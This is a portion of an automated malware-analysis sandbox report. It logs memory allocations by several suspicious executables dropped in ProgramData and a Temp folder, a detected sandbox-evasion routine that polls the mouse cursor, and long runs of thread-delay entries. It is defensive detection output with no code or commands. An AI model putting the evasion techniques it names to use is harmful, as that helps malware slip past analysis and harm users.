Source: C:\Users\user\Desktop\file.exe Memory allocated: 3290000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\file.exe Memory allocated: 5290000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Memory allocated: 2590000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Memory allocated: 26F0000 memory reserve | memory write watch Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Memory allocated: 46F0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 11E0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 2E80000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 1400000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Memory allocated: 2C70000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Memory allocated: 2D40000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe Memory allocated: 2C70000 memory reserve | memory write watch
Source: C:\ProgramData\BFIIEHJDBK.exe Memory allocated: C80000 memory reserve | memory write watch
Source: C:\ProgramData\BFIIEHJDBK.exe Memory allocated: 2770000 memory reserve | memory write watch
Source: C:\ProgramData\BFIIEHJDBK.exe Memory allocated: 24A0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 7E0000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 2260000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 4260000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 2870000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 2A40000 memory reserve | memory write watch
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Memory allocated: 4B40000 memory reserve | memory write watch
Contains functionality to detect sandboxes (mouse cursor move detection)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Code function: OpenInputDesktop,SetThreadDesktop,GetCursorPos,GetCursorPos,Sleep,Sleep,GetCursorPos,Sleep,Sleep,GetCursorPos, 3_2_0040180D
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\file.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\ProgramData\AFIDGDBGCA.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 596688 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 596479 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 596203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 596046 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595883 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595688 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595485 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595319 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 595078 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594591 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594394 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 594125 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593937 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593758 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593582 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593246 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 593047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592828 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592547 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 592116 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591922 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591344 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 591172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590906 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590594 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 590203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589906 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589342 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 589136 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588943 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588736 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588500 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 588063 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587847 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587682 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587461 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 587031 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586636 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586436 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586224 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 586049 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585906 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585703 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585545 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585344 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 585188 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584988 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 584125 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583699 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583510 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583328 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583156 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 583014 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582813 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582656 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582448 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582281 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 582091 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 581360 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 581175 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580969 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580775 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580531 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580355 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580232 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 580041 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579874 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579656 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 579480 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 578719 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 578469 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 578188 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577969 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577531 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577344 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 577140 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576995 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576797 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576531 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 576000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575719 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575506 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575360 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575191 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 575014 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574731 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574559 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574328 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 574141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573875 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 573141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572953 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572719 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572544 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 572156 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571984 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571811 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571615 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 571438 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570844 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570578 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570360 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 570141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569969 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569753 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569585 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569399 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 569161 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568960 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568809 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568601 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568375 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 568172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567953 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567556 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567340 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 567141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566975 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566815 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566607 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 566047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565841 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565622 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565442 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 565203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564953 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564703 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564556 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564349 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 564078 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563602 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563478 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 563087 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562860 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562660 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562460 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562268 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 562140 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561966 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561766 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561512 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 561047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560813 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560620 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560446 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560255 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 560074 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559922 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559766 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559531 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559365 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 559172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558969 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558742 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558373 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 558031 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557839 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557650 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557422 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557248 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 557093 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556906 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556759 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556595 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556406 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556252 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 556078 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555831 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555599 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555406 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555236 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 555058 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554902 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554181 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 554000 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553803 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553594 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553389 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 553192 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552982 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552780 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552563 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 552313 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551735 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551545 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551297 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 551141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550922 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550542 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550357 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550219 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 550047 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549872 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549683 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 549110 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548828 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548578 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548375 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548172 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 548009 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547750 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547563 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 547203 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546985 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546391 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 546141 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545906 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545703 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545516 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545250 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe Thread delayed: delay time: 545063 Jump to behavior
